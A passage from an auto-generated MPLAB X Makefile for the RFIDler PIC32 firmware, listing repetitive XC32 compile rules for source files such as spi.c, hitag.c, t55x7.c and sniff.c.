@${FIXDEPS} "${OBJECTDIR}/src/nvm.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/nvm.o.d" -o ${OBJECTDIR}/src/nvm.o src/nvm.c
${OBJECTDIR}/src/mcp414x.o: src/mcp414x.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/mcp414x.o.d
@${RM} ${OBJECTDIR}/src/mcp414x.o
@${FIXDEPS} "${OBJECTDIR}/src/mcp414x.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/mcp414x.o.d" -o ${OBJECTDIR}/src/mcp414x.o src/mcp414x.c
${OBJECTDIR}/src/spi.o: src/spi.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/spi.o.d
@${RM} ${OBJECTDIR}/src/spi.o
@${FIXDEPS} "${OBJECTDIR}/src/spi.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/spi.o.d" -o ${OBJECTDIR}/src/spi.o src/spi.c
${OBJECTDIR}/src/uart3.o: src/uart3.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/uart3.o.d
@${RM} ${OBJECTDIR}/src/uart3.o
@${FIXDEPS} "${OBJECTDIR}/src/uart3.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/uart3.o.d" -o ${OBJECTDIR}/src/uart3.o src/uart3.c
${OBJECTDIR}/src/tags.o: src/tags.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/tags.o.d
@${RM} ${OBJECTDIR}/src/tags.o
@${FIXDEPS} "${OBJECTDIR}/src/tags.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/tags.o.d" -o ${OBJECTDIR}/src/tags.o src/tags.c
${OBJECTDIR}/src/unique.o: src/unique.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/unique.o.d
@${RM} ${OBJECTDIR}/src/unique.o
@${FIXDEPS} "${OBJECTDIR}/src/unique.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/unique.o.d" -o ${OBJECTDIR}/src/unique.o src/unique.c
${OBJECTDIR}/src/led.o: src/led.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/led.o.d
@${RM} ${OBJECTDIR}/src/led.o
@${FIXDEPS} "${OBJECTDIR}/src/led.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/led.o.d" -o ${OBJECTDIR}/src/led.o src/led.c
${OBJECTDIR}/src/em.o: src/em.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/em.o.d
@${RM} ${OBJECTDIR}/src/em.o
@${FIXDEPS} "${OBJECTDIR}/src/em.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/em.o.d" -o ${OBJECTDIR}/src/em.o src/em.c
${OBJECTDIR}/src/hid.o: src/hid.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hid.o.d
@${RM} ${OBJECTDIR}/src/hid.o
@${FIXDEPS} "${OBJECTDIR}/src/hid.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hid.o.d" -o ${OBJECTDIR}/src/hid.o src/hid.c
${OBJECTDIR}/src/read.o: src/read.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/read.o.d
@${RM} ${OBJECTDIR}/src/read.o
@${FIXDEPS} "${OBJECTDIR}/src/read.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/read.o.d" -o ${OBJECTDIR}/src/read.o src/read.c
${OBJECTDIR}/src/isr.o: src/isr.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/isr.o.d
@${RM} ${OBJECTDIR}/src/isr.o
@${FIXDEPS} "${OBJECTDIR}/src/isr.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/isr.o.d" -o ${OBJECTDIR}/src/isr.o src/isr.c
${OBJECTDIR}/src/auto.o: src/auto.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/auto.o.d
@${RM} ${OBJECTDIR}/src/auto.o
@${FIXDEPS} "${OBJECTDIR}/src/auto.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/auto.o.d" -o ${OBJECTDIR}/src/auto.o src/auto.c
${OBJECTDIR}/src/fdxb.o: src/fdxb.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/fdxb.o.d
@${RM} ${OBJECTDIR}/src/fdxb.o
@${FIXDEPS} "${OBJECTDIR}/src/fdxb.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/fdxb.o.d" -o ${OBJECTDIR}/src/fdxb.o src/fdxb.c
${OBJECTDIR}/src/hitag.o: src/hitag.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hitag.o.d
@${RM} ${OBJECTDIR}/src/hitag.o
@${FIXDEPS} "${OBJECTDIR}/src/hitag.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hitag.o.d" -o ${OBJECTDIR}/src/hitag.o src/hitag.c
${OBJECTDIR}/src/uid.o: src/uid.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/uid.o.d
@${RM} ${OBJECTDIR}/src/uid.o
@${FIXDEPS} "${OBJECTDIR}/src/uid.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/uid.o.d" -o ${OBJECTDIR}/src/uid.o src/uid.c
${OBJECTDIR}/src/login.o: src/login.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/login.o.d
@${RM} ${OBJECTDIR}/src/login.o
@${FIXDEPS} "${OBJECTDIR}/src/login.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/login.o.d" -o ${OBJECTDIR}/src/login.o src/login.c
${OBJECTDIR}/src/write.o: src/write.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/write.o.d
@${RM} ${OBJECTDIR}/src/write.o
@${FIXDEPS} "${OBJECTDIR}/src/write.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/write.o.d" -o ${OBJECTDIR}/src/write.o src/write.c
${OBJECTDIR}/src/auth.o: src/auth.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/auth.o.d
@${RM} ${OBJECTDIR}/src/auth.o
@${FIXDEPS} "${OBJECTDIR}/src/auth.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/auth.o.d" -o ${OBJECTDIR}/src/auth.o src/auth.c
${OBJECTDIR}/src/q5.o: src/q5.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/q5.o.d
@${RM} ${OBJECTDIR}/src/q5.o
@${FIXDEPS} "${OBJECTDIR}/src/q5.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/q5.o.d" -o ${OBJECTDIR}/src/q5.o src/q5.c
${OBJECTDIR}/src/vtag.o: src/vtag.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/vtag.o.d
@${RM} ${OBJECTDIR}/src/vtag.o
@${FIXDEPS} "${OBJECTDIR}/src/vtag.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/vtag.o.d" -o ${OBJECTDIR}/src/vtag.o src/vtag.c
${OBJECTDIR}/src/config.o: src/config.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/config.o.d
@${RM} ${OBJECTDIR}/src/config.o
@${FIXDEPS} "${OBJECTDIR}/src/config.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/config.o.d" -o ${OBJECTDIR}/src/config.o src/config.c
${OBJECTDIR}/src/select.o: src/select.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/select.o.d
@${RM} ${OBJECTDIR}/src/select.o
@${FIXDEPS} "${OBJECTDIR}/src/select.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/select.o.d" -o ${OBJECTDIR}/src/select.o src/select.c
${OBJECTDIR}/src/sdcard.o: src/sdcard.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/sdcard.o.d
@${RM} ${OBJECTDIR}/src/sdcard.o
@${FIXDEPS} "${OBJECTDIR}/src/sdcard.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/sdcard.o.d" -o ${OBJECTDIR}/src/sdcard.o src/sdcard.c
${OBJECTDIR}/src/debug_pins.o: src/debug_pins.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/debug_pins.o.d
@${RM} ${OBJECTDIR}/src/debug_pins.o
@${FIXDEPS} "${OBJECTDIR}/src/debug_pins.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/debug_pins.o.d" -o ${OBJECTDIR}/src/debug_pins.o src/debug_pins.c
${OBJECTDIR}/src/awid.o: src/awid.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/awid.o.d
@${RM} ${OBJECTDIR}/src/awid.o
@${FIXDEPS} "${OBJECTDIR}/src/awid.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/awid.o.d" -o ${OBJECTDIR}/src/awid.o src/awid.c
${OBJECTDIR}/src/analogue.o: src/analogue.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/analogue.o.d
@${RM} ${OBJECTDIR}/src/analogue.o
@${FIXDEPS} "${OBJECTDIR}/src/analogue.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/analogue.o.d" -o ${OBJECTDIR}/src/analogue.o src/analogue.c
${OBJECTDIR}/src/iso7816.o: src/iso7816.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/iso7816.o.d
@${RM} ${OBJECTDIR}/src/iso7816.o
@${FIXDEPS} "${OBJECTDIR}/src/iso7816.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/iso7816.o.d" -o ${OBJECTDIR}/src/iso7816.o src/iso7816.c
${OBJECTDIR}/src/t55x7.o: src/t55x7.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/t55x7.o.d
@${RM} ${OBJECTDIR}/src/t55x7.o
@${FIXDEPS} "${OBJECTDIR}/src/t55x7.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/t55x7.o.d" -o ${OBJECTDIR}/src/t55x7.o src/t55x7.c
${OBJECTDIR}/src/sniff.o: src/sniff.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/sniff.o.d
@${RM} ${OBJECTDIR}/src/sniff.o
@${FIXDEPS} "${OBJECTDIR}/src/sniff.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/sniff.o.d" -o ${OBJECTDIR}/src/sniff.o src/sniff.c
${OBJECTDIR}/src/tamagotchi.o: src/tamagotchi.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/tamagotchi.o.d
@${RM} ${OBJECTDIR}/src/tamagotchi.o
@${FIXDEPS} "${OBJECTDIR}/src/tamagotchi.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/tamagotchi.o.d" -o ${OBJECTDIR}/src/tamagotchi.o src/tamagotchi.c
${OBJECTDIR}/src/hdx.o: src/hdx.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hdx.o.d
@${RM} ${OBJECTDIR}/src/hdx.o
